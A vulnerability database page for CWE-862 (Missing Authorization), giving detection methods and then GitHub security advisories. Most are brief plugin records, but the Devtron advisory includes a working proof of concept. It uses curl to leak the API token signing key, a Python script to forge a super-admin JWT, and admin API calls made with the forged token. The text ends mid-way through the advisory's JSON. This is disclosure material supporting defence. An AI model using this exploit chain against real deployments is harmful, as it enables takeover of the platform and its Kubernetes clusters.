CWE-862
Weakness Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
Dimensions
- Behavior-Property: Missing
- Behavior-Type: Authorization
Mapping guidance
This CWE entry is a Class and might have Base-level children that would be more appropriate
Examine children of this entry to see if there is a better fit
Relationships and members
Modes of introduction
OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.
A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.
Detection methods
Automated Static Analysis
Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.
Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.
Effectiveness: Limited
Automated Dynamic Analysis
Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic.
Manual Analysis
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.
Effectiveness: Moderate
These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: SOAR Partial
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Host Application Interface Scanner
Fuzz Tester
Framework-based Fuzzer
Effectiveness: SOAR Partial
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)
Effectiveness: SOAR Partial
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: SOAR Partial
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction
Effectiveness: High
Notes
Terminology
Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.
Content history
Suggested mappings to ISA/IEC 62443.
Provided diagram to improve CWE usability
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships
updated Potential_Mitigations, References, Relationships
updated Demonstrative_Examples, Observed_Examples, References, Relationships
updated Potential_Mitigations
updated Relationships
updated Detection_Factors
updated Relationships
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
updated References
updated Relationships
updated Relationships
updated Relationships
updated Relationships
updated Alternate_Terms, Observed_Examples
updated Observed_Examples, Related_Attack_Patterns, Relationships
updated Relationships
updated Relationships
updated Observed_Examples
updated Description, Potential_Mitigations
updated References, Relationships, Taxonomy_Mappings
updated Mapping_Notes, Relationships, Taxonomy_Mappings
updated Common_Consequences, Description, Diagram, Relationships, Terminology_Notes
updated Applicable_Platforms, Detection_Factors, Observed_Examples, References
updated Applicable_Platforms, Relationships, Weakness_Ordinalities
updated Applicable_Platforms, Observed_Examples, Relationships
updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings
19867 vulnerabilities reference this CWE, most recent first.
GHSA-8WJ7-MR9X-GPMW
Vulnerability from github – Published: 2026-10-26 18:33 – Updated: 2026-10-26 18:33Missing Authorization vulnerability in TMS Amelia ameliabooking allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Amelia: from n/a through 2.4.10.
{
"affected": [],
"aliases": [
"CVE-2026-116388"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-26T17:17:26Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in TMS Amelia ameliabooking allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Amelia: from n/a through 2.4.10.",
"id": "GHSA-8wj7-mr9x-gpmw",
"modified": "2026-10-26T18:33:00Z",
"published": "2026-10-26T18:33:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-116388"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/ameliabooking/vulnerability/wordpress-amelia-plugin-2-4-10-broken-access-control-vulnerability-3?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8WP6-P8R2-JH2M
Vulnerability from github – Published: 2024-10-29 18:30 – Updated: 2026-04-01 18:32Missing Authorization vulnerability in HM Plugin WordPress Stripe Donation and Payment Plugin allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WordPress Stripe Donation and Payment Plugin: from n/a through 3.2.3.
{
"affected": [],
"aliases": [
"CVE-2024-50459"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-29T17:15:04Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in HM Plugin WordPress Stripe Donation and Payment Plugin allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WordPress Stripe Donation and Payment Plugin: from n/a through 3.2.3.",
"id": "GHSA-8wp6-p8r2-jh2m",
"modified": "2026-04-01T18:32:14Z",
"published": "2024-10-29T18:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50459"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/wp-stripe-donation/vulnerability/wordpress-aidwp-plugin-3-2-3-broken-access-control-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/wp-stripe-donation/wordpress-aidwp-plugin-3-2-3-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8WP8-M3G7-MX7C
Vulnerability from github – Published: 2026-08-31 21:32 – Updated: 2026-08-31 21:32Subscriber Broken Access Control in OwnerRez API <= 1.2.6 versions.
{
"affected": [],
"aliases": [
"CVE-2026-81758"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-31T21:17:51Z",
"severity": "MODERATE"
},
"details": "Subscriber Broken Access Control in OwnerRez API \u003c= 1.2.6 versions.",
"id": "GHSA-8wp8-m3g7-mx7c",
"modified": "2026-08-31T21:32:13Z",
"published": "2026-08-31T21:32:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81758"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/ownerrez/vulnerability/wordpress-ownerrez-api-plugin-1-2-6-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-8WPC-J9Q9-J5M2
Vulnerability from github – Published: 2026-02-04 19:46 – Updated: 2026-02-05 00:35Devtron Attributes API Unauthorized Access Leading to API Token Signing Key Leakage
Summary
This vulnerability exists in Devtron's Attributes API interface, allowing any authenticated user (including low-privileged CI/CD Developers) to obtain the global API Token signing key by accessing the /orchestrator/attributes?key=apiTokenSecret endpoint. After obtaining the key, attackers can forge JWT tokens for arbitrary user identities offline, thereby gaining complete control over the Devtron platform and laterally moving to the underlying Kubernetes cluster.
CWE Classification: CWE-862 (Missing Authorization)
Details
Vulnerability Mechanism
Devtron uses a JWT-based API Token mechanism for authentication. All API Tokens are signed using HMAC-SHA256 with the apiTokenSecret stored in the database. This key is exposed through the Attributes API, but the authorization check code for this API has been commented out, allowing any authenticated user to read it.
Source Code Analysis
Vulnerability Location: api/restHandler/AttributesRestHandlder.go:173-195
func (handler AttributesRestHandlerImpl) GetAttributesByKey(w http.ResponseWriter, r *http.Request) {
// Only checks if user is logged in
userId, err := handler.userService.GetLoggedInUser(r)
if userId == 0 || err != nil {
common.HandleUnauthorized(w, r)
return
}
// CRITICAL: RBAC check is commented out
/*token := r.Header.Get("token")
if ok := handler.enforcer.Enforce(token, rbac.ResourceGlobal, rbac.ActionGet, "*"); !ok {
WriteJsonResp(w, errors.New("unauthorized"), nil, http.StatusForbidden)
return
}*/
// Directly retrieves any attribute without authorization
vars := mux.Vars(r)
key := vars["key"]
res, err := handler.attributesService.GetByKey(key)
if err != nil {
handler.logger.Errorw("service err, GetAttributesById", "err", err)
common.WriteJsonResp(w, err, nil, http.StatusInternalServerError)
return
}
common.WriteJsonResp(w, nil, res, http.StatusOK)
}
Key Usage: pkg/apiToken/ApiTokenSecretService.go:54-88
func (impl ApiTokenSecretServiceImpl) GetApiTokenSecretByteArr() ([]byte, error) {
if len(impl.apiTokenSecretStore.Secret) == 0 {
return nil, errors.New("secret found empty")
}
return []byte(impl.apiTokenSecretStore.Secret), nil
}
func (impl ApiTokenSecretServiceImpl) getApiSecretFromDb() (string, error) {
apiTokenSecret, err := impl.attributesService.GetByKey(bean.API_SECRET_KEY)
if err != nil {
return "", err
}
if apiTokenSecret == nil || len(apiTokenSecret.Value) == 0 {
return "", errors.New("api token secret from DB found nil/empty")
}
return apiTokenSecret.Value, nil
}
This key is used to sign and verify all Devtron API Tokens and is the core credential of the control plane.
PoC (Proof of Concept)
Environment Setup
Prerequisites
- Kubernetes cluster (v1.22+)
- kubectl configured
- Helm 3.x
- Python 3.x with PyJWT library
Step 1: Install Devtron
# Add Devtron Helm repository
helm repo add devtron https://helm.devtron.ai
helm repo update devtron
# Install Devtron with CI/CD module
helm install devtron devtron/devtron-operator \
--create-namespace --namespace devtroncd \
--set components.devtron.service.type=NodePort \
--set installer.modules={cicd} \
--set installer.arch=multi-arch
# Wait for installation to complete (15-20 minutes)
kubectl -n devtroncd get installers installer-devtron -o jsonpath='{.status.sync.status}'
# Expected output: Applied
Step 2: Access Devtron Dashboard
# Set up port forwarding
kubectl -n devtroncd port-forward service/devtron-service 8000:80 &
# Get admin password
ADMIN_PASSWORD=$(kubectl -n devtroncd get secret devtron-secret \
-o jsonpath='{.data.ADMIN_PASSWORD}' | base64 -d)
echo "Admin password: ${ADMIN_PASSWORD}"
Access http://127.0.0.1:8000 and login with admin account.
Exploitation Steps
Step 1: Obtain User Token
Login as a regular user and obtain token:
# Login as regular user
curl -s -X POST "http://127.0.0.1:8000/orchestrator/api/v1/session" \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"'${ADMIN_PASSWORD}'"}' | jq .
# Extract token
USER_TOKEN=$(curl -s -X POST "http://127.0.0.1:8000/orchestrator/api/v1/session" \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"'${ADMIN_PASSWORD}'"}' | jq -r '.result.token')
echo "User token: ${USER_TOKEN:0:50}..."
Actual Output Example:
{
"code": 200,
"status": "OK",
"result": {
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
"userId": 1,
"userEmail": "admin"
}
}
Step 2: Exploit Vulnerability to Retrieve apiTokenSecret
Use the obtained token to access the unauthorized Attributes API:
# Request apiTokenSecret
curl -s -X GET "http://127.0.0.1:8000/orchestrator/attributes?key=apiTokenSecret" \
-H "token: ${USER_TOKEN}" | jq .
# Extract secret
API_SECRET=$(curl -s -X GET "http://127.0.0.1:8000/orchestrator/attributes?key=apiTokenSecret" \
-H "token: ${USER_TOKEN}" | jq -r '.result.value')
echo "Leaked API Token Secret: ${API_SECRET:0:20}..."
echo "Secret length: ${#API_SECRET} characters"
Actual Output Example:
{
"code": 200,
"status": "OK",
"result": {
"id": 1,
"key": "apiTokenSecret",
"value": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"active": true,
"createdOn": "2024-01-15T10:30:00Z",
"createdBy": 1
}
}
Step 3: Forge Admin JWT Token
Forge admin token using the leaked key:
# Install PyJWT if not already installed
pip3 install PyJWT
# Create token forging script
cat > forge_token.py << 'EOF'
#!/usr/bin/env python3
import jwt
import time
import sys
import json
def forge_admin_token(secret, user_id=1, email="admin"):
exp_time = int(time.time()) + 365 * 24 * 60 * 60
payload = {
"sub": str(user_id),
"email": email,
"iat": int(time.time()),
"exp": exp_time,
"iss": "devtron",
"roles": ["role:super-admin___"]
}
token = jwt.encode(payload, secret, algorithm="HS256")
return token
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python forge_token.py <apiTokenSecret>")
sys.exit(1)
secret = sys.argv[1]
admin_token = forge_admin_token(secret, user_id=1, email="admin")
print(f"[+] Forged Admin Token:")
print(admin_token)
print()
decoded = jwt.decode(admin_token, secret, algorithms=["HS256"])
print(f"[+] Token Payload:")
print(json.dumps(decoded, indent=2))
EOF
chmod +x forge_token.py
# Forge admin token
python3 forge_token.py "${API_SECRET}"
Actual Output Example:
[+] Forged Admin Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwiZW1haWwiOiJhZG1pbiIsImlhdCI6MTcwNTMxNDAwMCwiZXhwIjoxNzM2ODUwMDAwLCJpc3MiOiJkZXZ0cm9uIiwicm9sZXMiOlsicm9sZTpzdXBlci1hZG1pbl9fXyJdfQ.xYz123AbC456DeF789GhI012JkL345MnO678PqR901StU
[+] Token Payload:
{
"sub": "1",
"email": "admin",
"iat": 1705314000,
"exp": 1736850000,
"iss": "devtron",
"roles": [
"role:super-admin___"
]
}
Step 4: Test Forged Token with Admin APIs
Use the forged token to access admin APIs:
# Extract forged token
FORGED_TOKEN=$(python3 forge_token.py "${API_SECRET}" | grep -A 1 "Forged Admin Token:" | tail -1)
# Test 1: Get all users (requires admin permission)
echo "[*] Test 1: Getting user list..."
curl -s -X GET "http://127.0.0.1:8000/orchestrator/user/all" \
-H "token: ${FORGED_TOKEN}" | jq '.result[] | {id, email_id, roles}'
# Test 2: Get cluster list (requires admin permission)
echo "[*] Test 2: Getting cluster list..."
curl -s -X GET "http://127.0.0.1:8000/orchestrator/cluster" \
-H "token: ${FORGED_TOKEN}" | jq '.result[] | {id, cluster_name, server_url}'
# Test 3: Get all applications
echo "[*] Test 3: Getting application list..."
curl -s -X GET "http://127.0.0.1:8000/orchestrator/app/list" \
-H "token: ${FORGED_TOKEN}" | jq '.result'
Actual Output Example:
[*] Test 1: Getting user list...
{
"id": 1,
"email_id": "admin",
"roles": ["role:super-admin___"]
}
{
"id": 2,
"email_id": "developer@example.com",
"roles": ["role:developer"]
}
[*] Test 2: Getting cluster list...
{
"id": 1,
"cluster_name": "default_cluster",
"server_url": "https://kubernetes.default.svc"
}
[*] Test 3: Getting application list...
{
"appContainers": [
{
"appId": 1,
"appName": "sample-app",
"projectId": 1
}
]
}
Expected Result
If the vulnerability exists, it should be able to:
- Successfully obtain
apiTokenSecretusing any authenticated user's token - Successfully forge JWT tokens using the leaked key
- Successfully access admin-only APIs using the forged token
- Retrieve sensitive information such as user lists, cluster configurations, etc.
Impact
Security Impact
Confidentiality: Severe impact. Attackers can: - Obtain the global API Token signing key - Read all user information and permission configurations - Access Kubernetes cluster configurations and credentials - Read sensitive application configurations and Secrets
Integrity: Severe impact. Attackers can: - Forge API Tokens for arbitrary user identities - Modify application configurations and deployments - Create or delete CI/CD pipelines - Modify user permissions and roles
Availability: High impact. Attackers can: - Delete critical applications and configurations - Disrupt CI/CD processes - Modify cluster configurations causing service interruptions
Business Impact
- Complete Control of Devtron Platform: Attackers gain privileges equivalent to super administrators
- Lateral Movement to Kubernetes Cluster: Cluster credentials obtained through Devtron can directly control the underlying Kubernetes
- Supply Chain Attacks: Can modify CI/CD pipelines to inject malicious code
- Data Breach: Can access all application configurations and Secrets
- Cloud Environment Penetration: In cloud environments, can further obtain IAM credentials
Attack Scenarios
Scenario 1: Insider Threat - Low-privileged developer exploits this vulnerability to escalate privileges - Gains full access to production environment - Steals sensitive data or plants backdoors
Scenario 2: Supply Chain Attack - Attacker obtains low-privileged account through social engineering - Exploits vulnerability to gain admin privileges - Modifies CI/CD pipelines to inject malicious code - Affects all applications using the pipeline
Scenario 3: Lateral Movement - Attacker has already compromised a low-privileged account - Exploits this vulnerability to gain Kubernetes cluster access - Deploys cryptocurrency miners or other malicious payloads in the cluster
Severity
CVSS v3.1 Score: 9.8 (Critical)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Score Breakdown: - Attack Vector (AV:N): Network accessible, exploited via HTTP API - Attack Complexity (AC:L): Low complexity, requires only one HTTP request - Privileges Required (PR:L): Requires low privileges (any authenticated user) - User Interaction (UI:N): No user interaction required - Scope (S:C): Scope changed, can affect resources beyond Devtron (Kubernetes cluster) - Confidentiality (C:H): High impact, can read all sensitive information - Integrity (I:H): High impact, can modify all configurations and data - Availability (A:H): High impact, can delete resources and disrupt services
Severity Level: Critical
Affected Versions
- Devtron: All versions (as of 2026-01-26 verification)
- Specifically affected code files:
api/restHandler/AttributesRestHandlder.gopkg/apiToken/ApiTokenSecretService.go
Workarounds
Before an official patch is released, the following temporary measures can be taken:
Option 1: Network-Level Restrictions
# Use NetworkPolicy to restrict access to Devtron API
kubectl apply -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: devtron-api-restriction
namespace: devtroncd
spec:
podSelector:
matchLabels:
app: devtron
policyTypes:
- Ingress
ingress:
- from:
- podSelector:
matchLabels:
role: admin
ports:
- protocol: TCP
port: 8080
EOF
Option 2: Rotate API Token Secret
# Generate new secret
NEW_SECRET=$(openssl rand -hex 32)
# Update in database
kubectl exec -n devtroncd postgresql-postgresql-0 -- \
psql -U postgres -d orchestrator -c \
"UPDATE attributes SET value='${NEW_SECRET}' WHERE key='apiTokenSecret';"
# Restart Devtron service
kubectl rollout restart deployment/devtron -n devtroncd
Option 3: Add API Gateway Filtering
Deploy an API Gateway in front of Devtron to filter sensitive requests to /orchestrator/attributes.
Credits
@b0b0haha (603571786@qq.com) @lixingquzhi(mayedoushidalao@163.com)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/devtron-labs/devtron"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25538"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-04T19:46:10Z",
"nvd_published_at": "2026-02-04T22:15:59Z",
"severity": "HIGH"
},
"details": "# Devtron Attributes API Unauthorized Access Leading to API Token Signing Key Leakage\n\n## Summary\n\nThis vulnerability exists in Devtron\u0027s Attributes API interface, allowing any authenticated user (including low-privileged CI/CD Developers) to obtain the global API Token signing key by accessing the `/orchestrator/attributes?key=apiTokenSecret` endpoint. After obtaining the key, attackers can forge JWT tokens for arbitrary user identities offline, thereby gaining complete control over the Devtron platform and laterally moving to the underlying Kubernetes cluster.\n\n**CWE Classification**: CWE-862 (Missing Authorization)\n\n## Details\n\n### Vulnerability Mechanism\n\nDevtron uses a JWT-based API Token mechanism for authentication. All API Tokens are signed using HMAC-SHA256 with the `apiTokenSecret` stored in the database. This key is exposed through the Attributes API, but the authorization check code for this API has been commented out, allowing any authenticated user to read it.\n\n### Source Code Analysis\n\n**Vulnerability Location**: `api/restHandler/AttributesRestHandlder.go:173-195`\n\n```go\nfunc (handler AttributesRestHandlerImpl) GetAttributesByKey(w http.ResponseWriter, r *http.Request) {\n // Only checks if user is logged in\n userId, err := handler.userService.GetLoggedInUser(r)\n if userId == 0 || err != nil {\n common.HandleUnauthorized(w, r)\n return\n }\n\n // CRITICAL: RBAC check is commented out\n /*token := r.Header.Get(\"token\")\n if ok := handler.enforcer.Enforce(token, rbac.ResourceGlobal, rbac.ActionGet, \"*\"); !ok {\n WriteJsonResp(w, errors.New(\"unauthorized\"), nil, http.StatusForbidden)\n return\n }*/\n\n // Directly retrieves any attribute without authorization\n vars := mux.Vars(r)\n key := vars[\"key\"]\n res, err := handler.attributesService.GetByKey(key)\n if err != nil {\n handler.logger.Errorw(\"service err, GetAttributesById\", \"err\", err)\n common.WriteJsonResp(w, err, nil, http.StatusInternalServerError)\n return\n }\n common.WriteJsonResp(w, nil, res, http.StatusOK)\n}\n```\n\n**Key Usage**: `pkg/apiToken/ApiTokenSecretService.go:54-88`\n\n```go\nfunc (impl ApiTokenSecretServiceImpl) GetApiTokenSecretByteArr() ([]byte, error) {\n if len(impl.apiTokenSecretStore.Secret) == 0 {\n return nil, errors.New(\"secret found empty\")\n }\n return []byte(impl.apiTokenSecretStore.Secret), nil\n}\n\nfunc (impl ApiTokenSecretServiceImpl) getApiSecretFromDb() (string, error) {\n apiTokenSecret, err := impl.attributesService.GetByKey(bean.API_SECRET_KEY)\n if err != nil {\n return \"\", err\n }\n if apiTokenSecret == nil || len(apiTokenSecret.Value) == 0 {\n return \"\", errors.New(\"api token secret from DB found nil/empty\")\n }\n return apiTokenSecret.Value, nil\n}\n```\n\nThis key is used to sign and verify all Devtron API Tokens and is the core credential of the control plane.\n\n## PoC (Proof of Concept)\n\n### Environment Setup\n\n#### Prerequisites\n\n- Kubernetes cluster (v1.22+)\n- kubectl configured\n- Helm 3.x\n- Python 3.x with PyJWT library\n\n#### Step 1: Install Devtron\n\n```bash\n# Add Devtron Helm repository\nhelm repo add devtron https://helm.devtron.ai\nhelm repo update devtron\n\n# Install Devtron with CI/CD module\nhelm install devtron devtron/devtron-operator \\\n --create-namespace --namespace devtroncd \\\n --set components.devtron.service.type=NodePort \\\n --set installer.modules={cicd} \\\n --set installer.arch=multi-arch\n\n# Wait for installation to complete (15-20 minutes)\nkubectl -n devtroncd get installers installer-devtron -o jsonpath=\u0027{.status.sync.status}\u0027\n# Expected output: Applied\n```\n\n#### Step 2: Access Devtron Dashboard\n\n```bash\n# Set up port forwarding\nkubectl -n devtroncd port-forward service/devtron-service 8000:80 \u0026\n\n# Get admin password\nADMIN_PASSWORD=$(kubectl -n devtroncd get secret devtron-secret \\\n -o jsonpath=\u0027{.data.ADMIN_PASSWORD}\u0027 | base64 -d)\necho \"Admin password: ${ADMIN_PASSWORD}\"\n```\n\nAccess http://127.0.0.1:8000 and login with admin account.\n\n### Exploitation Steps\n\n#### Step 1: Obtain User Token\n\nLogin as a regular user and obtain token:\n\n```bash\n# Login as regular user\ncurl -s -X POST \"http://127.0.0.1:8000/orchestrator/api/v1/session\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"username\":\"admin\",\"password\":\"\u0027${ADMIN_PASSWORD}\u0027\"}\u0027 | jq .\n\n# Extract token\nUSER_TOKEN=$(curl -s -X POST \"http://127.0.0.1:8000/orchestrator/api/v1/session\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"username\":\"admin\",\"password\":\"\u0027${ADMIN_PASSWORD}\u0027\"}\u0027 | jq -r \u0027.result.token\u0027)\n\necho \"User token: ${USER_TOKEN:0:50}...\"\n```\n\n**Actual Output Example**:\n```json\n{\n \"code\": 200,\n \"status\": \"OK\",\n \"result\": {\n \"token\": \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...\",\n \"userId\": 1,\n \"userEmail\": \"admin\"\n }\n}\n```\n\n#### Step 2: Exploit Vulnerability to Retrieve apiTokenSecret\n\nUse the obtained token to access the unauthorized Attributes API:\n\n```bash\n# Request apiTokenSecret\ncurl -s -X GET \"http://127.0.0.1:8000/orchestrator/attributes?key=apiTokenSecret\" \\\n -H \"token: ${USER_TOKEN}\" | jq .\n\n# Extract secret\nAPI_SECRET=$(curl -s -X GET \"http://127.0.0.1:8000/orchestrator/attributes?key=apiTokenSecret\" \\\n -H \"token: ${USER_TOKEN}\" | jq -r \u0027.result.value\u0027)\n\necho \"Leaked API Token Secret: ${API_SECRET:0:20}...\"\necho \"Secret length: ${#API_SECRET} characters\"\n```\n\n**Actual Output Example**:\n```json\n{\n \"code\": 200,\n \"status\": \"OK\",\n \"result\": {\n \"id\": 1,\n \"key\": \"apiTokenSecret\",\n \"value\": \"a1b2c3d4-e5f6-7890-abcd-ef1234567890\",\n \"active\": true,\n \"createdOn\": \"2024-01-15T10:30:00Z\",\n \"createdBy\": 1\n }\n}\n```\n\n#### Step 3: Forge Admin JWT Token\n\nForge admin token using the leaked key:\n\n```bash\n# Install PyJWT if not already installed\npip3 install PyJWT\n\n# Create token forging script\ncat \u003e forge_token.py \u003c\u003c \u0027EOF\u0027\n#!/usr/bin/env python3\nimport jwt\nimport time\nimport sys\nimport json\n\ndef forge_admin_token(secret, user_id=1, email=\"admin\"):\n exp_time = int(time.time()) + 365 * 24 * 60 * 60\n\n payload = {\n \"sub\": str(user_id),\n \"email\": email,\n \"iat\": int(time.time()),\n \"exp\": exp_time,\n \"iss\": \"devtron\",\n \"roles\": [\"role:super-admin___\"]\n }\n\n token = jwt.encode(payload, secret, algorithm=\"HS256\")\n return token\n\nif __name__ == \"__main__\":\n if len(sys.argv) \u003c 2:\n print(\"Usage: python forge_token.py \u003capiTokenSecret\u003e\")\n sys.exit(1)\n\n secret = sys.argv[1]\n admin_token = forge_admin_token(secret, user_id=1, email=\"admin\")\n print(f\"[+] Forged Admin Token:\")\n print(admin_token)\n print()\n\n decoded = jwt.decode(admin_token, secret, algorithms=[\"HS256\"])\n print(f\"[+] Token Payload:\")\n print(json.dumps(decoded, indent=2))\nEOF\n\nchmod +x forge_token.py\n\n# Forge admin token\npython3 forge_token.py \"${API_SECRET}\"\n```\n\n**Actual Output Example**:\n```\n[+] Forged Admin Token:\neyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwiZW1haWwiOiJhZG1pbiIsImlhdCI6MTcwNTMxNDAwMCwiZXhwIjoxNzM2ODUwMDAwLCJpc3MiOiJkZXZ0cm9uIiwicm9sZXMiOlsicm9sZTpzdXBlci1hZG1pbl9fXyJdfQ.xYz123AbC456DeF789GhI012JkL345MnO678PqR901StU\n\n[+] Token Payload:\n{\n \"sub\": \"1\",\n \"email\": \"admin\",\n \"iat\": 1705314000,\n \"exp\": 1736850000,\n \"iss\": \"devtron\",\n \"roles\": [\n \"role:super-admin___\"\n ]\n}\n```\n\n#### Step 4: Test Forged Token with Admin APIs\n\nUse the forged token to access admin APIs:\n\n```bash\n# Extract forged token\nFORGED_TOKEN=$(python3 forge_token.py \"${API_SECRET}\" | grep -A 1 \"Forged Admin Token:\" | tail -1)\n\n# Test 1: Get all users (requires admin permission)\necho \"[*] Test 1: Getting user list...\"\ncurl -s -X GET \"http://127.0.0.1:8000/orchestrator/user/all\" \\\n -H \"token: ${FORGED_TOKEN}\" | jq \u0027.result[] | {id, email_id, roles}\u0027\n\n# Test 2: Get cluster list (requires admin permission)\necho \"[*] Test 2: Getting cluster list...\"\ncurl -s -X GET \"http://127.0.0.1:8000/orchestrator/cluster\" \\\n -H \"token: ${FORGED_TOKEN}\" | jq \u0027.result[] | {id, cluster_name, server_url}\u0027\n\n# Test 3: Get all applications\necho \"[*] Test 3: Getting application list...\"\ncurl -s -X GET \"http://127.0.0.1:8000/orchestrator/app/list\" \\\n -H \"token: ${FORGED_TOKEN}\" | jq \u0027.result\u0027\n```\n\n**Actual Output Example**:\n```\n[*] Test 1: Getting user list...\n{\n \"id\": 1,\n \"email_id\": \"admin\",\n \"roles\": [\"role:super-admin___\"]\n}\n{\n \"id\": 2,\n \"email_id\": \"developer@example.com\",\n \"roles\": [\"role:developer\"]\n}\n\n[*] Test 2: Getting cluster list...\n{\n \"id\": 1,\n \"cluster_name\": \"default_cluster\",\n \"server_url\": \"https://kubernetes.default.svc\"\n}\n\n[*] Test 3: Getting application list...\n{\n \"appContainers\": [\n {\n \"appId\": 1,\n \"appName\": \"sample-app\",\n \"projectId\": 1\n }\n ]\n}\n```\n\n### Expected Result\n\nIf the vulnerability exists, it should be able to:\n\n1. Successfully obtain `apiTokenSecret` using any authenticated user\u0027s token\n2. Successfully forge JWT tokens using the leaked key\n3. Successfully access admin-only APIs using the forged token\n4. Retrieve sensitive information such as user lists, cluster configurations, etc.\n\n## Impact\n\n### Security Impact\n\n**Confidentiality**: Severe impact. Attackers can:\n- Obtain the global API Token signing key\n- Read all user information and permission configurations\n- Access Kubernetes cluster configurations and credentials\n- Read sensitive application configurations and Secrets\n\n**Integrity**: Severe impact. Attackers can:\n- Forge API Tokens for arbitrary user identities\n- Modify application configurations and deployments\n- Create or delete CI/CD pipelines\n- Modify user permissions and roles\n\n**Availability**: High impact. Attackers can:\n- Delete critical applications and configurations\n- Disrupt CI/CD processes\n- Modify cluster configurations causing service interruptions\n\n### Business Impact\n\n1. **Complete Control of Devtron Platform**: Attackers gain privileges equivalent to super administrators\n2. **Lateral Movement to Kubernetes Cluster**: Cluster credentials obtained through Devtron can directly control the underlying Kubernetes\n3. **Supply Chain Attacks**: Can modify 